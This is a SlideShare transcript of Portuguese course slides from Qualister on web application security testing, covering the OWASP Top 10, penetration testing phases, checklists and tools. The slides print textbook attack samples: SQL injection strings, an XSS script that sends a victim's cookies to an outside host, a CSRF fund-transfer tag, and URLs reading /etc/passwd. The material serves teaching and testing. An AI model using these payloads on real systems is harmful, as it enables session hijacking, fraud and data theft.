• Save
Teste seguranca aplicacoes web security testing
Upcoming SlideShare
Loading in...5
×
 

Teste seguranca aplicacoes web security testing

on

  • 1,099 views

Teste seguranca aplicacoes web security testing

Teste seguranca aplicacoes web security testing

Statistics

Views

Total Views
1,099
Views on SlideShare
1,092
Embed Views
7

Actions

Likes
6
Downloads
1
Comments
0

1 Embed 7

https://twitter.com 7

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Teste seguranca aplicacoes web security testing Teste seguranca aplicacoes web security testing Presentation Transcript

  • (48) 3285 5615 / 9645 5506 contato@qualister.com.br•  Terceirização de profissionais•  Consultoria de teste Testes  de  •  Avaliação de usabilidade segurança  de  •  Automação de testes•  Testes de performance aplicações  WEB  •  Treinamentos www.qualister.com.br
  • Quer saber mais? Estes  são  apenas  alguns  slides  do  curso  de  testes   de  segurança  para  aplicações  WEB     Para  maiores  informações  visite  nosso  site:     h=p://www.qualister.com.br/cursos         www.qualister.com.br
  • Direitos autorais Importante er produção de qualqu proibida a cópia e re –  É resentação incluindo, parte do conteúdo desta ap , imagens, gráficos e mas não limitado a, textos é protegida pelas leis tabela s. Esta apresentação no opriedade de Cristia de Copyright e são pr e Treinamento Caetano e Qualister Consultoria LTDA. r, copiar, guardar em –  Não é permitido modifica ugar, vender ou banco de dados público, al apresentação, republicar qualquer parte desta o explícita do autor. sem prévia permissã o deste material, –  Quando ho uver permissão de us e bibliográfica conform é ob rigatória a referência as normas vigentes.www.qualister.com.br
  • Instrutor Cristiano Caetano Email: cristiano.caetano@qualister.com.br Apresentações: slideshare.net/cristianocaetano Blog: cristianocaetano.wordpress.com É certificado CBTS pela ALATS. Diretor técnico da Qualister com mais de 10 anos de experiência, já trabalhou na área de qualidade e teste de software para grandes empresas como Zero G, DELL e HP Invent. É colunista na área de Teste e Qualidade de software do site linhadecodigo.com.br e autor dos livros "CVS: Controle de Versões e Desenvolvimento Colaborativo de Software" e "Automação e Gerenciamento de Testes: Aumentando a Produtividade com as Principais Soluções Open Source e Gratuitas". Participante ativo da comunidade de teste de software brasileira, é o criador e mantenedor do portal TestExpert: A sua comunidade gratuita de teste e qualidade de software (www.testexpert.com.br).www.qualister.com.br
  • Twitter twitter.com/c_caetanowww.qualister.com.br
  • Sobre a Qualister•  Fundação: 2007.•  Sobre a Qualister: A Qualister é uma empresa nacional, constituída a partir da união de profissionais qualificados e certificados na área de testes e qualidade de software, com o objetivo de integrar, implementar e implantar soluções com base nas melhores práticas do mercado e normas internacionais.•  Colaboradores: A Qualister é composta por colaboradores pós-graduados e certificados na área de testes (CBTS, CSTE) com larga experiência na indústria de Tecnologia da Informação.•  Área de atuação: A Qualister é uma empresa especializada em serviços de qualidade e teste de software. Tem como linhas de atuação consultoria em teste/ qualidade de software, outsourcing (terceirização dos serviços através da alocação de profissionais) e treinamentos. www.qualister.com.br
  • Parcerias internacionais   Soluções para automação, profilling e gestão de testes             Soluções para testes de performance           Soluções de apoio a avaliação de usabilidade      www.qualister.com.br
  • Tópico • Introduçãowww.qualister.com.br
  • Introdução•  Desenvolvimento de software para a WEB –  Não existe a cultura de desenvolvimento de aplicações que ficam expostas na WEB (desenvolvedores desktop estavam acostumados a desenvolver aplicações para intranets/redes locais). –  Aplicações WEB são construídas normalmente com prazos apertados e segurança normalmente não é a prioridade. –  Aplicações WEB são construídas sobre protocolos leves e flexíveis (e que não oferecem mecanismos de privacidade, integridade e segurança). –  Aplicações WEB são baseadas em uma série de combinações de plataformas, ferramentas, serviços, etc. Cada um com os seus desafios e vulnerabilidades. –  Aplicações WEB geram e executam código on-the-fly em função da sua natureza dinâmica, tornando-as mais vulneráveis.www.qualister.com.br
  • Introdução•  Número de ataques registrados por ano The 2011 Mid-Year top cyber security risks reportwww.qualister.com.br
  • Introdução•  Vulnerabilidades comuns em aplicações WEBFraqueza   Descrição  Aplicação/Servidor  mal   Muitas  aplicações/servidores  são  configuradas  ou  instaladas  por  default  com  recursos  desnecessários  ou  configurado   inseguros  (debug,  usuários  default,  logs  detalhados,  permissões  incorretas,  etc).  Esses  recurso  oferecem   ao  hacker  meios  de  contornar  os  meios  de  autenLcação,  ter  acesso  a  informações  sensíveis  ou  ter  uma   elevação  de  privilégios  Indexação  de  diretório   O  Web  Server  expõe  inadverLdamente  o  conteúdo  de  diretórios  quando  o  arquivo  raiz  (ex:  index.html)   não  é  informado  Indexação  insegura   O  Web  Server/aplicação  permite  que  motores  de  pesquisa  (Google,  Yahoo,  etc)  tenham  acesso  a   arquivos  confidenciais  e  indexem  esses  arquivos  para  pesquisas  públicas  Permissões  inadequadas   Os  arquivos  de  um  servidor  estão  com  permissões  inadequadas  permiLndo  que  o  hacker  crie,  subsLtua     ou  modifique  arquivos  no  servidor  Tratamento  inadequado   As  aplicações  não  validam,  filtram,  tratam  ou  saniLzam  a  entrada/saída  de  dados  permiLndo  que  o  de  entrada/saída  de  dados   hacker  injete/modifique  dados,  código,  arquivos,  etc  maliciosos    Vazamento  de   A  aplicação  revela  dados  sensíveis  em  situações  de  erro,  stress,  etc,  tais  como:  sistema  operacional,  web  informações   server,  banco  de  dados,  etc.  Falta  de  AnL-­‐automação   Ausência  de  mecanismos  que  previnem  ações  automaLzadas,  tais  como:  tentaLvas  por  força  bruta  de   login,  stress,  operações  repeLLvas,  etc.     http://projects.webappsec.org/w/page/13246978/Threat%20Classification www.qualister.com.br
  • Introdução•  Vulnerabilidades comuns em aplicações WEBFraqueza   Descrição  AutenLcação  insuficiente   Ocorre  quando  o  sistema  permite  que  o  hacker  acesse  um  recurso,  informação  ou  arquivo  sensível  sem   exigir  autenLcação  Autorização  insuficiente   Ocorre  quando  o  sistema  permite  que  o  usuário  execute  ações  que  não  permiLdas  ao  seu  perfil  de   acesso/alçada  Recuperação  de  senha   Ocorre  quando  uma  aplicação  permite  que  o  hacker  consiga  mudar  ou  obter  a  senha  de  outro  usuário  insegura   pelo  formulário  de  recuperação  de  usuário/senha  em  função  de  mecanismos  de  segurança  frágeis,   engenharia  social,  falta  de  um  mecanismo  redundante  de  confirmação  ou  tentaLva  e  erro  Validação  do  fluxo  normal   Ocorre  quando  o  sistema  não  consegue  idenLficar/prevenir  que  o  hacker  pule  etapas  de  um  processo  do  processo  inadequada   normal  de  uso,  conseguindo  dessa  forma,  burlar  os  mecanismos  de  segurança,  obter  bene^cios  ou   acesso  a  informações  privilegiadas  Expiração  da  sessão   Ocorre  quando  o  sistema  permite  que  o  atacante  uLlize  cookies,  sessões,  ID´s  de  autorização,  etc  inadequada   roubados  de  outro  usuário  (em  função  de  não  expirar  ou  ter  um  tempo  de  expiração  muito  longo)  Proteção  insuficiente  na   Ocorre  quando  os  dados  transmiLdos  e  recebidos  não  são  criptografados  (SSL/TLS)  ou  contém  camada  de  transporte   informações  sensíveis/confidenciais.  Ou  quando  essas  informações  podem  ser  interceptadas  e   modificadas.   http://projects.webappsec.org/w/page/13246978/Threat%20Classification www.qualister.com.br
  • Introdução•  Categorias de vulnerabilidades mais comuns VERACODE STATE OF SOFTWARE SECURITY REPORT/2011 www.qualister.com.br
  • Introdução•  Vulnerabilidades agrupadas por tipo The 2011 Mid-Year top cyber security risks reportwww.qualister.com.br
  • Introdução•  Número de ataques registrados por ano –  PHP/Remote File Include (PHP/RFI), SQL Injection (SQLi) e Cross-Site Scripting (XSS) The 2011 Mid-Year top cyber security risks reportwww.qualister.com.br
  • Introdução•  Open Web Application Security Project (OWASP) TOP 10/2010Vulnerabilidade   Descrição  A1-­‐InjecLon   Vulnerabilidades  do  Lpo  Injeção  (SQL,  S.O.,  etc)  ocorrem  quando  uma  informação  não   confiável  é  enviada  a  um  interpretador  como  parte  de  uma  query  ou  comando.  O  hacker   se  aproveita  de  falhas/defeitos  para  enviar  comandos  mal  intencionados  ou  acessar  dados   não  autorizados  A2-­‐Cross  Site  ScripLng   Vulnerabilidades  do  Lpo  XSS  ocorrem  quando  uma  aplicação  executa  ações/scripts  no  (XSS)   navegador  do  usuário  permiLndo  que  o  hacker  seqüestre  sessões,  redirecione  o  usuário   para  sites  maliciosos,  etc  A3-­‐Broken   Este  Lpo  de  vulnerabilidade  ocorre  quando  os  recursos  de  autenLcação  ou  gerenciamento  AuthenLcaLon  and   de  sessão  é  frágil,  incorreto  ou  inexistente  permiLndo  que  o  hacker  assuma  a  idenLdade  Session  Management   de  outra  pessoa  A4-­‐Insecure  Direct   Esta  vulnerabilidade  ocorre  quando  o  desenvolvedor  inadverLdamente  expõe  uma  Object  References   referência  a  algum  elemento  interno  (arquivo,  diretório,  etc)  sem  um  controle  de  acesso   ou  proteção.  Dessa  forma,  o  hacker  pode  acessar  ou  manipular  esses  objetos  para  acessar   dados  não  autorizados  A5-­‐Cross  Site  Request   Um  ataque  do  Lpo  CSRF  força  um  usuário  logado  em  um  sistema  a  enviar  requisições  Forgery  (CSRF)   forjadas  com  ações  maliciosas  ao  servidor  de  maneira  que  as  operações  são  realizadas     sem  o  conhecimento  do  usuário  e  usando  o  seu  perfil.   https://www.owasp.org/index.php/Top_10_2010-Main www.qualister.com.br
  • Introdução•  Open Web Application Security Project (OWASP) TOP 10/2010Vulnerabilidade   Descrição  A6-­‐Security   Esta  vulnerabilidade  ocorre  de  configurações  inadequadas  nos  servidores  e  falta  de  MisconfiguraLon   atualizações  (patches)  A7-­‐Insecure   Esta  vulnerabilidade  ocorre  em  função  de  que  sa  aplicações  não  protegem  ou  criptografam  Cryptographic  Storage   informações  sensíveis  A8-­‐Failure  to  Restrict   Esta  vulnerabilidade  ocorre  em  função  de  que  a  aplicação/servidor  não  protege  ou  URL  Access   restringe  adequadamente  o  acesso  a  determinadas  páginas  A9-­‐Insufficient   Esta  vulnerabilidade  ocorre  em  função  de  que  a  aplicação  não  protege  a  integridade  dos  Transport  Layer   dados  transferidos  entre  o  navegador  e  o  servidor  ProtecLon  A10-­‐Unvalidated   Esta  vulnerabilidade  ocorre  em  função  de  que  a  aplicação  redireciona  ou  encaminha  os  Redirects  and   usuários  para  outras  páginas  ou  sites  sem  a  adequada  validação.  Dessa  forma,  o  hacker  Forwards   pode  redirecionar  as  víLmas  a  sites  maliciosos   https://www.owasp.org/index.php/Top_10_2010-Main www.qualister.com.br
  • Introdução•  2011 CWE (Common Weakness Enumeration)/SANS Top 25 Most Dangerous Software Errors http://cwe.mitre.org/top25/ www.qualister.com.br
  • Introdução•  Boas práticas de segurança –  Falhe de maneira segura: todo mecanismo de segurança deve ser projetado para que, em caso de falha, não exponha o resto do ambiente. Ou seja, se o mecanismo de segurança falhar, todo o sistema deve ser bloqueado. Em um sistema de autenticação quando um mecanismo não está funcionando, todas as tentativas de acesso devem ser negadas ao invés de permitidas. A regra padrão deve ser negar o acesso e não aceitá- lo. –  Mantenha a simplicidade: Quanto mais complexo o mecanismo de segurança mais pontos de falha existirão. Em geral soluções mais simples são mais seguras. –  Reuse componentes confiáveis: Sempre que possível utilize componentes que já foram amplamente utilizados e testados e que possuam uma boa reputação em relação a segurança.www.qualister.com.br
  • Introdução•  Boas práticas de segurança –  Mecanismos de segurança em múltiplos níveis: a segurança de um sistema não deve ser delegada a um único componente do sistema. Deve-se sempre que possível existir mecanismos de proteção redundantes de tal forma que a falha em um mecanismo possa ser compensada por outros componentes. –  Não baseie a segurança de um sistema em função da obscuridade: a segurança de um sistema não pode depender do fato que o atacante não conhece seus mecanismos internos ou pontos de falha. –  Limitação e separação de privilégios: a aplicação deve ser executada com o mínimo possível de privilégios para que um eventual comprometimento da aplicação não implique no comprometimento do ambiente que a hospeda.www.qualister.com.br
  • Introdução•  Boas práticas de segurança –  Configurar o ambiente adequadamente: •  Desabilitar os serviços desnecessários •  Remoção de usuários desnecessários •  Atualização constante de versões vulneráveis de programas •  Configuração de serviços e permissões •  Remoção de privilégios dispensáveis •  Alteração de senhas padrão •  Alteração periódica de senhas de administradores •  Utilização de senhas fortes.www.qualister.com.br
  • Tópico •  Testes de caixa pretawww.qualister.com.br
  • Testes de caixa preta•  Teste de caixa preta –  O teste de caixa preta é realizado sem o conhecimento das características técnicas do sistema e sem acesso ao código fonte. No teste de caixa preta, o testador tem acesso apenas a interface gráfica do sistema, onde será realizado a observação das mensagens transmitidas, modificação de dados de entrada, etc. Ou seja, ele terá as mesmas limitações impostas ao hacker/atacante. –  Vulnerability Assessment: Escaneamento automático de um sistema buscando vulnerabilidades conhecidas. –  Penetration Testing: Também chamado de Ethical Hacking, essa técnica é conduzida por um especialista em segurança que executa as mesmas técnicas e ataques que um hacker usaria para detectar defeitos e vulnerabilidades.www.qualister.com.br
  • Testes de caixa preta•  Fingerprinting –  Reconhecimento e aprendizagem sobre a aplicação, os pontos de entrada, os protocolos e tecnologias associadas (Arquitetura, topologia, versão dos softwares (Web Server, Application Server), banco de dados, etc). Com base nas informações descobertas o hacker determinará o tipo de ataque que será realizado (ou o ataque será realizado Blind)www.qualister.com.br
  • Testes de caixa preta•  Força Bruta (Brute Force) –  O ataque de força bruta emprega um mecanismo automatizado que executa tentativas exaustivas de acesso (logins, combinações de identificadores de sessões, etc) usando dicionários ou aleatórios Dicionário de senhas http://www.governmentsecurity.org/articles/default-logins-and-passwords-for-networked-devices.html http://www.cirt.net/passwords http://www.skullsecurity.org/wiki/index.php/Passwordswww.qualister.com.br
  • Testes de caixa preta•  Seqüestro de Sessões –  O fato do protocolo HTTP não manter estado entre as diversas requisições de um mesmo cliente é uma restrição muito séria no desenvolvimento de aplicações WEB. Para resolver esse problema muitos servidores de aplicação implementam mecanismos de sessões baseados no uso de Cookies. –  Tipicamente esses sistemas funcionam da seguinte forma: na sua primeira requisição, o cliente recebe do servidor uma identificação (Cookie). Nas próximas visitas ao mesmo site o cliente apresenta essa informação ao servidor, possibilitando assim que as aplicações reconheçam aquele cliente e recuperem informações a seu respeito armazenadas no servidor. –  Essa técnica foi inicialmente muito utilizada para guardar preferências pessoais de usuários e coletar informações estatísticas de visitas aos sites.www.qualister.com.br
  • Testes de caixa preta•  Seqüestro de Sessões –  Mais recentemente tornou-se uma prática muito comum utilizá-la em conjunto com mecanismos simples de autenticação para identificar usuários válidos nos sistemas. Ao entrar no sistema o usuário fornece suas credenciais que são validadas no repositório de dados. A identidade do usuário é então associada à sua sessão e em transações posteriores não é mais necessário fornecer tais credenciais. –  Quando utilizado sobre HTTP sem criptografia (normalmente implementada pelo SSL) esse esquema pode facilmente ser burlado. Basta, para isso, que o atacante consiga capturar os Cookies identificadores de sessão, e monte requisições válidas utilizando esses cookies. Na prática a aplicação vai “acreditar” que o atacante é um usuário válido, em particular o usuário que possui aquele identificador de sessões apresentado, possibilitando que o atacante assuma a identidade de um usuário válido do sistema e efetue qualquer operação permitida a esse usuário.www.qualister.com.br
  • Testes de caixa preta•  Injeção de Códigos SQL –  A ausência de validação de parâmetros fornecidos por usuários e inseridos em consultas a bancos de dados utilizando SQL (Structured Query Language) pode levar a injeção de códigos SQL não planejados na aplicação. Como conseqüência pode haver alteração do resultado das consultas, visualização indevida de dados do sistema, ou, até mesmo, alteração do estado do banco através de consultas que insiram, modifique ou removam esses dados. –  or 1=1-- –  " or 1=1-- –  or 1=1-- –  or a=a –  " or "a"="a –  ) or (a=awww.qualister.com.br
  • Testes de caixa preta•  Cross-Site Scripting –  Também causado pela validação insuficiente das entradas de dados. Consiste na inserção de tags HTML em campos de formulário ou parâmetros de URLs sob o controle dos usuários. Esses tags normalmente contêm programas em linguagem de scripts (javascripts ou vbscripts por exemplo). Ao serem executados em navegadores comuns esses códigos, podem enviar informações sensíveis, tais como Cookies identificadores de sessão para outros sites, daí o termo cross-site scripting. –  Supondo por exemplo que um determinado usuário possua permissão apenas de alterar seus dados pessoais. Em um campo qualquer desse formulário ele poderia colocar o seguinte script: –  <script language=”javascript”> document.write(‘<img src=http:// www.outrosite.com/cgi/img? ’ + document.cookie +‘>’)</script>www.qualister.com.br
  • Testes de caixa preta•  Cross-Site Scripting –  Ao ser visualizado por um outro usuário, o administrador do sistema por exemplo, esse script executaria um CGI em outro site passando como parâmetro os cookies de sessão do administrador. De posse desses cookies, o atacante poderia assumir a identidade do administrador, bastando para isso apresentar para o servidor de aplicação os cookies capturados. Enquanto a sessão estivesse aberta todas as funcionalidades do administrador estariam disponíveis para o atacante. –  O script poderia ser escondido utilizando outras codificações e enviado por e-mail para vários usuários do sistema. Ao acessar o sistema as vítimas veriam uma página muito semelhante a original e que estaria visualmente identificada como segura com certificado de servidor associado ao site original. No entanto, ao preencher o formulário os dados seriam enviados o atacante. –  –  Vale ressaltar que, diferentemente do que acontece com o seqüestro de sessões, esse ataque não pode ser evitado pelo uso de SSL, pois não depende da captura de tráfego. A única forma de evitá-lo é pela validação de entradas de dados.www.qualister.com.br
  • Testes de caixa preta•  Cross Site Request Forgery (CSRF) –  Este ataque explora a confiança que o sistema tem em relação as ações do usuário. Tipicamente o hacker insere scripts maliciosos em páginas HTML/Email. Quando o usuário estiver logado no sistema, o código malicioso pode ser executado sem o conhecimento do usuário e usando todos os seus privilégios. –  Exemplo: –  http://example.com/app/transferFunds? amount=1500&destinationAccount=4673243243 –  <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#" width="0" height="0" / >www.qualister.com.br
  • Testes de caixa preta•  Execução de comandos no S.O. –  Esse tipo de vulnerabilidade é mais comum em scripts CGI e consiste em manipular parâmetros para causar a execução de comandos não previstos no desenvolvimento da aplicação. Um exemplo clássico são os formulários para envio de e-mails, onde o destinatário é fornecido pelo usuário, e a aplicação faz uma chamada de sistema para o programa de envio de e-mails, passando como esse parâmetro. Para explorar esse tipo de sistema costuma-se inserir após o endereço do destinatário o caractere separador de comandos do S.O. (ponto e vírgula no UNIX) seguido de um outro comando qualquer. Como resultado o e-mail é enviado –  e segundo comando é executado com os mesmos privilégios do usuário do servidor Web. –  Outro exemplo muito comum é o dos scripts CGI para exibição de notícias armazenadas em arquivos no servidor Web. Normalmente esses scripts recebem como parâmetro o nome do arquivo de notícias a ser exibido: –  https://www.site.com.br/noticias.cgi?texto=noticia01.txtwww.qualister.com.br
  • Testes de caixa preta•  Execução de comandos no S.O. –  Supondo que o parâmetro do nome do arquivo não esteja sendo validado um atacante poderia exibir o conteúdo do arquivo de usuários do sistema operacional alterando a URL acima para: –  https://www.site.com.br/noticias.cgi?texto=/etc/passwd –  Em muitos sistemas UNIX o arquivo /etc/passwd contém o nome dos usuários e suas senhas cifradas. De posse desse conteúdo o atacante poderia utilizar um programa de quebra de senhas para recuperar as senhas dos usuários.www.qualister.com.br
  • Testes de caixa preta•  Elevação de Privilégios –  Em sistemas onde diferentes usuários possuem diferentes privilégios é comum que as limitações de acesso não sejam feitas corretamente. Deve- se evitar técnicas como utilização de URLs diferentes com mesma base de usuários, interfaces restritas sem validação no backend e utilização de campos escondidos para identificar o nível de privilégio dos usuários.www.qualister.com.br
  • Testes de caixa preta•  Upload de arquivo irrestrito (Unrestricted File Upload) –  Quando é permitido aos usuários transferir arquivos dos seus computadores para os servidores via Web é importante que se façam as verificações necessárias para impedir o mau uso dessa funcionalidade. Deve-se por exemplo evitar que usuários mal-intencionados consigam sobrepor arquivos de configuração, códigos fonte, arquivos HTML ou imagens do sistema. Também deve-se impedir que sejam enviados arquivos contendo códigos que ao serem acessados pela Web sejam executados pelo servidor de aplicação, tais como JSP, PHP ou ASP. –  Um possível mau uso dessa funcionalidade é a de usar o formulário de upload seguidamente até ocupar todo o espaço em disco disponível no servidor, causando um ataque de exaustão de recursos. Dependendo do tipo de dados armazenados nessa partição do disco, alguns dos seguintes problemas podem ocorrer: interrupção na geração de registros, instabilidade no servidor de aplicação ou no sistema operacional como um todo. Deve-se atentar para esse tipo de ameaça no desenvolvimento de sistemas de upload.www.qualister.com.br
  • Testes de caixa preta•  Remote File Inclusion (RFI)/Path Traversal –  Este tipo de vulnerabilidade permite que o hacker inclua um arquivo malicioso (local ou remoto) em alguma entrada de dados ou na URL. Dessa forma o atacante pode ver alguma informação sigilosa ou executar um script malicioso. –  Exemplo: –  http://110.76.151.11/madara/vulnerabilities/fi/?page=/etc/passwdwww.qualister.com.br
  • Testes de caixa preta•  O Penetration Testing é dividido em 4 etapas: –  Crawl/Fingerprinting: Fase de reconhecimento e aprendizagem sobre a aplicação, os pontos de entrada, os protocolos e tecnologias associadas –  Analysis: fase de criação dos casos de testes (abuse cases) –  Attack: fase de execução dos testes manuais e automatizados em busca de vulnerabilidades simulando um ataque –  Reporting: fase de relato de vulnerabilidades e sugestões de correçõeswww.qualister.com.br
  • Testes de caixa preta•  Exemplo de checklist usado para guiar o Penetration TestingCategoria   Verificação   Descrição  Negação  de  serviço   Flooding  na  aplicação   Verificar  se  a  aplicação  funciona  corretamente  frente  a   um  grande  volume  de  transações,  acessos,  tráfego  de   rede,  etc   Falta  de  AnL-­‐automação   Ausência  de  mecanismos  que  previnem  ações   automaLzadas,  tais  como:  tentaLvas  por  força  bruta  de   login,  stress,  operações  repeLLvas,  etc.  Autorização   Autorização   Verificar  se  o  mecanismo  de  autorização  funciona   corretamente   Manipulação  de  parâmetros  de  autorização   Mudar  parâmetros  ou  sessions  para  verificar  se  é   possível  elevar  as  permissões   Burlar  o  fluxo  da  aplicação   Criar  situações  onde  o  fluxo  normal  de  uso  é  burlado  AutenLcação   Burlar  a  autenLcação   Burlar  a  autenLcação   Usar  contas  padrão   Usar  contas  e  senhas  default  ou  facilmente  adivinháveis   Qualidade  das  senhas   Verificar  se  a  geração  de  senhas  uLliza  mecanismos   simples  ou  exigem  perguntas  secretas  para  resetar  e  se     senha  é  suspensa  quando  é  tentado  usar  a  senha   incorreta  várias  vezes  www.qualister.com.br
  • Testes de caixa preta•  Exemplo de checklistCategoria   Verificação   Descrição  Aplicação/Servidor   Vulnerabilidades  conhecidas/Patches   Verificar  se  o  servidor  não  tem  alguma  vulnerabilidade  mal  configurado   conhecida  que  não  foi  corrigida  por  um  patch       Backup  de  arquivos   Verificar  se  existem  backups  de  arquivos  não  protegidos   Configuração  do  servidor   Verificar  se  existem  configurações  do  servidor   potencialmente  inseguras  que  não  foram  re-­‐ configuradas,  removidas,  etc   Indexação  de  diretório   O  Web  Server  expõe  inadverLdamente  o  conteúdo  de   diretórios  quando  o  arquivo  raiz  (ex:  index.html)  não  é   informado   Indexação  insegura   O  Web  Server/aplicação  permite  que  motores  de   pesquisa  (Google,  Yahoo,  etc)  tenham  acesso  a  arquivos   confidenciais  e  indexem  esses  arquivos  para  pesquisas   públicas  www.qualister.com.br
  • Testes de caixa preta•  Exemplo de checklistCategoria   Verificação   Descrição  Vazamento  de   Mensagens  de  erro   Verificar  se  a  aplicação  exibe  mensagens  de  erro  com  informações   informações  confidenciais  ou  que  sirvam  como  dica  para     um  hacker,  ex:  (usuário  não  existe,  senha  incorreta,  etc)   Dados  sensíveis  em  html   Verificar  se  não  existem  dados  sensíveis  no  HTML  como   por  exemplo,  comentários,  etc  Tratamento   Injeção  de  scripts   Verificar  se  a  aplicação  não  processa  scripts  como  parte  inadequado  de   das  entradas  entrada/saída  de   Injeção  de  SQL   Verificar  se  aplicação  não  processa  os  comandos  sql  dados   injetados  pelo  usuário     Injeção  de  comandos  do  sistema  operacional   Verificar  se  aplicação  não  processa  os  comandos  do   sistema  operacional  injetados  pelo  usuário    www.qualister.com.br
  • Tópico •  Ferramentas de apoio ao teste manualwww.qualister.com.br
  • Ferramentas –  Tipos de ferramentas: •  Automação dos testes: ferramentas que executam testes simples e repetitivos; •  Preparação dos testes: ferramentas de apoio a preparação do ambiente de testes ou massa de dados de testes; •  Gerenciamento dos testes: ferramenta de gerenciamento dos testes, apontamento dos defeitos e geração de métricas –  Tipos de testes automatizados: •  Fuzzing: a ferramenta injeta dados randômicos na interface do sistema (ou em outras camadas) com o objetivo de revelar vulnerabilidades ou que o sistema apresente mensagens de erro com informações relevantes •  Syntax: a ferramenta injeta uma gama de entradas válidas e inválidas com objetivo de identificar vulnerabilidades conhecidas •  Data Analysis: a ferramenta analisa os dados gerados pela aplicação (inclusive dados criptografados) •  Stress: a ferramenta cria condições extremas de uso (acessos simultâneos, upload de arquivos, etc) com o objetivo de exaurir os recursos do sistema até a sua paralisação •  Monitoring: a ferramenta monitora as requisições transmitidas e recebidas com o objetivo de identificar vulnerabilidades ou informações relevanteswww.qualister.com.br
  • Tópico •  Ferramentas de apoio ao escaneamento de vulnerabilidadeswww.qualister.com.br
  • Ferramentas•  Site Digger –  http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspxwww.qualister.com.br
  • Ferramentas•  Acunetix –  http://www.acunetix.com/ ($ 4995)www.qualister.com.br
  • Ferramentas•  Netsparker Community Edition –  http://www.mavitunasecurity.com/communityedition/www.qualister.com.br
  • Tópico •  Exercícios práticoswww.qualister.com.br
  • Tópico •  Testes de caixa brancawww.qualister.com.br
  • Testes de caixa branca•  Análise estática: –  Características: •  Rápido •  Alto nível de cobertura •  Não exige treinamento •  Alto número de falso positivos •  Incapaz de detectar problemas sutis •  Incapaz de detectar problemas que são revelados apenas durante a execução –  Tipos de problemas detectados: •  Violações de boas prática de programação •  Buffer overflow •  Uso incorreto de bibliotecas •  Falhas de segurança comuns –  Algumas ferramentas: •  http://www.blueinfy.com/appcodescan.html •  https://www.fortify.com •  http://coverity.com/products/static-analysis.htmlwww.qualister.com.br OWASP Application Security Verification Standard (ASVS)
  • Testes de caixa branca•  Revisão de código: –  Todas as páginas e demais recursos exigem autenticação (exceto aqueles que são públicos)? –  A conta de usuário é travada caso exceda a quantidade máxima de logins incorretos? –  Existe validação das entradas no lado do servidor (server side)? –  Os mecanismos de segurança quando falham forçam o usuário a não ter privilégios? –  É exigido uma re-autenticação para funcionalidades/operações críticas? –  As senhas/usuários são criptografados tanto no banco de dados quanto na transmissão via http? –  Quando o usuário realiza o log out a sessão torna-se inválida? –  A sessão é expirada após o limite de timeout? –  O ID da sessão é re-gerado após um novo login? –  O usuário pode acessar as páginas/funcionalidades/arquivos/diretórios correspondentes a autorização concedida no login? –  A entrada de dados é validada/sanitizada antes de ser enviada ao servidor? –  O servidor re-valida/sanitiza os dados recebidos antes de processar? –  As instruções SQL são parametrizadas? –  Os valores randômicos são gerados usando um algoritmo reconhecido como seguro no mercado? –  O sistema exibe mensagens de erro não tratadas contendo informações sensíveis? –  A aplicação registra no log informações sensíveis?www.qualister.com.br OWASP Application Security Verification Standard (ASVS)
  • Tópico •  Exercícios práticoswww.qualister.com.br
  • Quer saber mais? Estes  são  apenas  alguns  slides  do  curso  de  testes   de  segurança  para  aplicações  WEB     Para  maiores  informações  visite  nosso  site:     h=p://www.qualister.com.br/cursos         www.qualister.com.br
  • Dúvidas?•  Contato: –  Email: cristiano.caetano@qualister.com.brwww.qualister.com.br